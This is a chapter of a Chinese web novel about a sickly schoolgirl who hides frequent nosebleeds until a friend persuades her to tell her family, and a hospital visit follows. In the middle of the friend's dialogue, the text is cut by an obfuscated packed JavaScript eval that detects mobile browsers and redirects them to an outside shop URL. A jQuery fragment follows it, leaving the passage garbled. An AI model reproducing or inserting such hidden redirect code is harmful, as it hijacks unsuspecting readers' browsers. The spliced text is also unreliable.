15. 初秋
作品:《我的纸人》 可她心中像是不甘,不相信他真的如她所见那般圣神,于是故意顺着他的话说下去,“好,那我就不帮她了。”
明玉玉一眨不眨地盯着他,想要看出他的伪装,可他还是那副波澜不惊的样子,像是她说什么他都会支持,不会背叛。
可她实在是仍不住,试探性地问出口来,“你不觉得我很无情吗?”
冮秋泽略微靠近她的身边,启唇,“这是你的权力,没有对错之分。”
其实,不管他劝不劝,明玉玉都会帮她。
可是他并没有,而她也没有再在说什么。原以为了却心中已久的困惑可以好受些,可她却怎么也高兴不起来。
这里的空气像是在被一点点的抽干,让明玉玉有些喘不来气,借着想要喝水的借口,起身准备离开。
可她刚站起身,一股熟悉感席卷而来,鼻腔中传来一股温热。
明玉玉她来不及稳住身子,下意识地就想捂住鼻子,不想让血滴在他身上。
可是手指才到胸口位置,血液成串的留下来,并且还愈演愈烈。她的视野逐渐模糊起来,那串血滴就像是带着獠牙的红蛇,奔向前来接住自己的冮秋泽。
果然还是滴在他的身上了。
她在心里埋怨着自己,“现在还是找纸给他擦擦吧。”
可一股无法抗拒的力量将她禁锢着,不可动弹。
明玉玉余光中看见他吓得苍白面孔,想要让他放松些,可话还没有说出口,就听见头顶传来略带颤音的声:“你,你没事吧?”
他声音因为过度紧张而低哑起来,“你是不是应该将头埋下去?”说着就想动手帮她埋下头去,可明玉玉在她前一秒就已经埋下去了。
她不懂他为什么这么紧张,这只是普通的鼻血,不用紧张的。可她这个时候说不出来话,只好先将鼻血止住,稳定住他的情绪。
因为她是被他从前面立即转到后面环抱住的,理所应当的没有看见他的动作,以及他冲红的眼,如果再仔细看,就会发现他那双桃花眼处有着细微的血液。
“不,我打电话叫医生!”
明玉玉一听,根本就没有等他起身,就快速拉住他的衣角,这时候根本就不会管鼻腔中的血会不会流进口腔中,急迫地开口,“别!”
“别!高度(告诉)其他认(人))!”
可冮秋泽却还是固执的起身,朝着门口去,明玉玉没有多想,连忙跟着他一同起身,这一下抓住的是手腕。
她口腔中已经被灌进血液了,所以没有再开口。只是用着执拗地盯着他,抓住他的力气也越加强。
面对着她这红晕又执着的眼眸,他妥协了。
明玉玉还没有长出一口气,冮秋泽就又走到她的身边。
对于这样的情况他还是有些手作无措,害怕不正确的操作造成更加严重的后果。只好拿起书桌旁的纸,小心翼翼地为她擦拭脸庞的血渍。
这时候明玉玉才意识到她刚刚鼻血都还没有止住,现在鼻腔中还不时有些血液流过。
她手忙脚乱地转过身去,快速地低下头,捏住鼻子。而从脖颈爬上去的红晕早已遍布全脸,幸好她头发长能够遮住大半张脸。
冮秋泽没有料到她的反应,握着纸巾的手还悬在空中,似是猜到她的不好意思,只是将手中的纸递给了她,没再打扰。
留在她身后焦急地等待。
期间看着周围点点滴滴的血液,他又拿起纸巾弯腰毫无埋怨地擦拭干净血液。
虽然他认为明玉玉这样做仅仅是不让家里人担心这么简单,但他还是选择了她这一方。
终于没过多久,冮秋泽刚把房间里的血液清理干净,明玉玉刚好止住血,转过身来,脸上也换上了平静的样子。
他顺手就要将纸巾扔在垃圾桶里,纸巾在空中只悬浮不到几秒,就被明玉玉快速接住。转身就朝厕所去,和今天早上的动作一模一样。
可冮秋泽却皱起眉头,从刚刚到现在都保持着原来的姿势没动。没一会儿像是想通了什么,表情严肃地快步走到厕所。
“你最近也留过鼻血?”
明玉玉猜想到他应该是通过她刚刚的动作猜到了,她也就没隐瞒,“嗯。”
“今天早上流过一次。”
听到她的回答,他的表情更加严峻,心中的天平已经开始动摇,后悔刚才不应该心软,同时埋怨自己一上午都没有发现她的异常。
心里挣扎了一番,他开口,“对不起玉玉,我还是觉得这件事情应该告诉你的父母。”
冮秋泽根本没有给明玉玉劝说的机会,气也不换地继续说:“一天两次鼻血,而且血量还不低,这已经不是简单的鼻血了。”
眼看着她还想说服他,冮秋泽声调不由大了些,“玉玉,你的身体已经给你发出信号了,别不当回事!”
明玉玉被他的声音怔在原地,她还是第一次看见冮秋泽发脾气。
心想自己是不是真的做错了?
可她一直以来都是这样呀。
她的身体是什么样子的她都知道。
刚开始大家都能谅解她身体不好,能够给予包容。可时间久了,同学们在听见她咳嗽声会不由得皱起眉头,看见她流鼻血不再想之前那样伸出援手,发现她不去做早操,也会嘀咕着她到底是装的还是真的。
甚至有的时候,明玉玉能够看见讲台上的老师也露出那种不耐烦的表情。
所以明玉玉决定将做一个“正常人”,打喷嚏时会尽量憋住,实在是忍不住会借口上厕所咳出来;流鼻血时,会及时地低头,迅速处理,不让其他人察觉到;可早操她是真的做不了,跑步久了她的心脏就会剧烈跳动,是不是还会抽动,像下一秒就要爆炸。
所以在看见冮秋泽那样的表情后,她才第一反应是,“他是不是不耐烦了?”
“我哪里做错了吗?”
像是陷入到绕不出来的怪圈中,明玉玉一动不动地站在原地,只有通过那双被泪水打湿的眼眸才能看懂她的情绪。
在看见她泪水打转时,冮秋泽一下子就慌了。
不知道是不是他的声音吓住了她,懊恼地道歉:“对不起,玉玉。”
“我刚刚不应该和你大声的说话的。”语气里是藏不住的卑微与担忧。
“我只是想让你重视自己身体。”
被他声音拉回来的明玉玉,不懂他此刻为什么这么紧张,等到又一滴圆润的泪珠成行落下时,才知道缘由。
她马虎地擦了擦脸颊,“没事,我刚刚只是想起了一些事情,不是因为你。”
“我觉得你说的是对的,等一下我去找王姨让她带我去医院看看。”
刚刚明玉玉一直都陷入到她自设的怪圈中,在听见冮秋泽话时,原本一直看不见尽头的路,突然出现了指示牌,上面赫然显示着几个字:“掉头,岸就在前方。”
你没有错,自始自终都没有错。
之后,你不用再掩饰了,你可以随心地表达,想咳嗽就咳嗽,不用顾忌其他人,因为你生病不是你的错。
更何况现在你的身边有了一个可以认真倾听你情绪的人。
可这一些她都没有告诉他,留着让他自己猜去吧。
之后明玉玉就在冮秋泽的陪同下,下楼找王姨。期间冮秋泽注意力都没有离开过她,生怕她下一秒就又出什么事情了。
明玉玉表达过没必要,可他说:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352657|199522||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼睛长在他身上,想看什么就看什么。”
她也不知道他怎么变成这样一个带着脾气的人了,但私心觉得这样的他更鲜活些。
王姨听完冮秋泽描述后,吓得围着她转了好几圈,然后急忙拿起电话给明父明母打电话,紧接着就拉着她出去找张叔去医院。
连和冮秋泽告别的话都没说出口。
王姨带她去的时最近的一家私立医院,刚进医院一会儿明稚越就带着明父赶到了,领着她去找熟悉的主治医生快速地做了全面检查。
期间明玉玉就想接受指令的玩偶,让她做什么就做什么。
明母是在她进去做检查时,赶过来的。
她脸上的的妆早于被泪水弄花,嘴里还念叨着:“都是我的错,都是我的错。”手还不停的捶打胸口。
明稚越没有看过母亲这般样子,觉得是母亲太担心妹妹了,所以拍了拍母亲安慰到:“妹妹会没事的,她刚刚还好好的。”
可明志远看着妻子这般痛不欲生的样子,心里却清楚她到底是为什么这般悲痛。
他什么话都没有说话,只是紧紧地握住她的双肩,无声的安慰着。
没一会儿做完结果的明玉玉就出来,一开门就看见家人焦虑的样子,走过去,尽量用轻松的语气说话,“没事的,只是流鼻血而已。”
但这句话不似之前那般起作用,他们都等着医生的判词。
鼻部CT扫描结果没多久就被医生拿在手里,他先是仔细看了一遍,觉得没问题后才开口:“从CT片子上来看,鼻窦里挺干净的,没有长什么东西,也没有明显的炎症,”
直到听见官方的回答后,一旁悬着心的明家人,才敢松口气。
医生扶了扶眼镜,“流鼻血可能是粘膜太干燥或有点小血管破了。”
接下来医生就做好消毒处理,带好手套,在身旁拿起鼻腔镜起身,站在明玉玉一侧。
她不知道医生要做些什么,但是很配合的看向他。
医生也很耐心,向她解释道;“接下来我检查一下你的鼻腔,看看是不是血管破裂。”
明玉玉听完后,老老实实地听从医生的指挥,略微地仰起头,然后一动不动地坐好,害怕影响到医生的操作。
没过一会儿,医生就叫悬在她头顶的照射灯移开,拉下口罩,一遍脱手套,一边说:“你这属于前一种情况,鼻黏膜太薄太干了。”
“我给你开个红霉素软膏,睡前,涂抹在鼻腔前。”
明玉玉在全家的陪同下去药房拿好药,一同坐车回家。
和之前一样,明玉玉一边靠着哥哥,一边靠着母亲。
郭婧她在医院时就已经将情绪收拾好了,现在只是眼眶有些微红。
明玉玉觉得自己应该说些什么,酝酿了一会儿,才开口道:“对不起,我不应该瞒着你们的。”
明稚越拍了拍她的肩膀,母亲则是将她冰冷的双手紧紧握住,语气颤抖,“是我不好。”
“今天早上都没有发现你的不正常。”
她没想到会让母亲这么自责,慌忙解释道:“是我不想让你们发现的。”
郭婧听见这句话后,更加心痛。
她自己女儿在生病的时候,想到的第一件事情居然是不让他们发现,是他们做父母的不称职。
她想抱一抱明玉玉,可不知道应该怎么抱,是先伸出右手还是左手?
玉玉会不会不愿意?
纠结到最后她还是放弃了,只用商量的语气和她说,“那之后,身体上有什么不舒服的,可以第一时间和我们说,好吗?”
明玉玉发自内心地点了点头。
这一次,她迈出了一步。

